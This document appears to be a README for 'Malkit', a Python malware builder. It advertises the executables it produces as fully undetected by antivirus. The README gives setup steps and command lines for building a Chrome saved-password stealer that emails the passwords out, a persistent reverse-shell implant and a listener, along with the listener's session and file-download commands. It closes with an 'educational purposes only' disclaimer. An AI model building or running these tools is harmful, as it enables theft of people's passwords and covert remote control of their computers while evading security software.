Malkit is a python-based console application that generates runtime-decrypted undetectable windows executables. It has the following features:
Features marked with an X are still in development and aren't fully working but are already complete in internal testing.
Due to the way this has been coded, it is currently fully undetected. Here are some links to scans performed
For this application you need:
requirements.txt
, open the file and downgrade pexe37
to 0.9.6.4
and darkarp
to 3.4
(ONLY if you get errors when installing the requirements.txt
. For now, just go to Installation )Chromepass requires Python 3.6+ to run. It has been tested on a full anaconda installation but it doesn't necessariliy require it. It doesn't work with Python 3.8 yet The instructions on the full setup are below.
Setup Anaconda environment:
Set-ExecutionPolicy RemoteSigned
A
when it prompts you.conda init powershell
conda update conda
conda create -n malkit python=3.7
conda activate malkit
Clone the Repository and access its directory:
> git clone https://github.com/darkarp/malkit.git
> cd malkit
Install the dependencies:
> pip install -r requirements.txt
If any errors occur make sure you're running on the proper environment (if applcable) and that you have python 3.6+ < 3.8 (preferably 3.7.5). If the errors persist, try:
> python -m pip install --upgrade pip
> python -m pip install -r requirements.txt
If any errors still persist, make sure you have the following installed:
python malkit.py -h
usage: python malkit.py [-h] {build_listener, build_malware, build_chromepass} ...
positional arguments:
{build_listener, build_malware, build_chromepass}
optional arguments:
-h, --help show this help message and exit
python malkit.py build_chromepass -h
usage: python malkit.py build_chromepass [-h] [--load] [--email] [--reverse_shell]
[--no_error]
[--errormsg Error message to appear]
[--address Email address to send details to, if Email was chosen]
[--port Port for reverse connection, if Reverse shell was chosen.]
[--host Host reverse connection, if Reverse shell was chosen.]
optional arguments:
-h, --help show this help message and exit
--load
--email
--reverse_shell
--no_error
--errormsg Error message to appear
--address Email address to send details to, if Email was chosen
--port Port for reverse connection, if Reverse shell was chosen.
--host Host reverse connection, if Reverse shell was chosen.
example:
python malkit.py build_chromepass --email --address myemail@gmail.com
python malkit.py build_chromepass --reverse_shell --host 127.0.0.1 -p 4444
python malkit.py build_chromepass --load myfile.conf
Building an executable that grabs and sends chrome-saved passwords through email
python malkit.py build_chromepass --email --address youremailaddress@yourdomain.com
Creating a persistent reverse_shell with additional features
python malkit.py build_malware --host 127.0.0.1 -p 444
Creating a listener for the malware
python malkit.py build_listener -p 444
list
command to see active sessions.interact::SESSION_NUMBER
where SESSION_NUMBER
is the number of the session you want to connect with. <bg
or <background
<download
- Downloads a file from the servermalware
file size to around 4-6 MB, possible by making the original malware
download the rest of the payload via the reverse connection.If you find an error or a bug, please report it as an issue. If you wish to suggest a feature or an improvement please report it in the issue pages.
Please follow the templates shown when creating the issue.
For access to a community full of aspiring computer security experts, ranging from the complete beginner to the seasoned veteran, join our Discord Server: WhiteHat Hacking
If you wish to contact me, you can do so via: marionascimento@itsec.bz
I am not responsible for what you do with the information and code provided. This is intended for professional or educational purposes only.